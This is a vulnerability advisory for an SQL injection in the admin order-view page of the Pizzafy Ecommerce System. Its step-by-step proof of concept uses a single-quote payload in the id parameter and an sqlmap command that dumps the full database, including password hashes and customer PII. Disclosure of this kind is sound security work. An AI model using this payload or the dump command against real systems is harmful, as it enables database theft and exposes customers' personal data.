SQL Injection in Pizzafy Ecommerce System — admin/view_order.php

Details

https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html

Affected Component

File: Pizzafy/admin/view_order.php
Parameter: id (GET)

Description

The admin/view_order.php endpoint in Pizzafy Ecommerce System 1.0 fails to properly sanitize the id GET parameter before passing it to a MySQL query. An authenticated administrator can manipulate this parameter to inject arbitrary SQL, leading to full database compromise.

Proof of Concept

Step 1 — Login as Administrator

Navigate to:

http://localhost/pizzafy/Pizzafy/admin/index.php

Login with admin credentials.

Step 2 — Navigate to Orders

http://localhost/pizzafy/Pizzafy/admin/index.php?page=orders

Click View Order on any order entry.

Step 3 — Intercept Request in Burp Suite

The intercepted GET request looks like:

Step 4 — Trigger SQL Error

Modify id=1 to id=':

GET /pizzafy/Pizzafy/admin/view_order.php?id=' HTTP/1.1

Response — MySQL error exposed:

Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near ''' at line 1 in
C:\xampp\htdocs\pizzafy\Pizzafy\admin\view_order.php:15

Step 5 — Exploit with sqlmap

Save the request to view_order.txt and run:

sqlmap -r view_order.txt --dump --batch

sqlmap confirmed injection types:

Full database dumped:

Database: pizzafy
Tables: users, user_info, orders, order_list, product_list, category_list, system_settings

Sensitive data exposed includes bcrypt password hashes, customer emails, order details, and system configuration.

Impact

A malicious authenticated administrator (or attacker who has obtained admin credentials) can:

• Dump the full database including password hashes
• Read sensitive customer PII (names, emails, addresses, phone numbers)
• Potentially write to the database

References

• SourceCodester — Pizzafy Ecommerce System
• CWE-89: Improper Neutralization of Special Elements used in an SQL Command.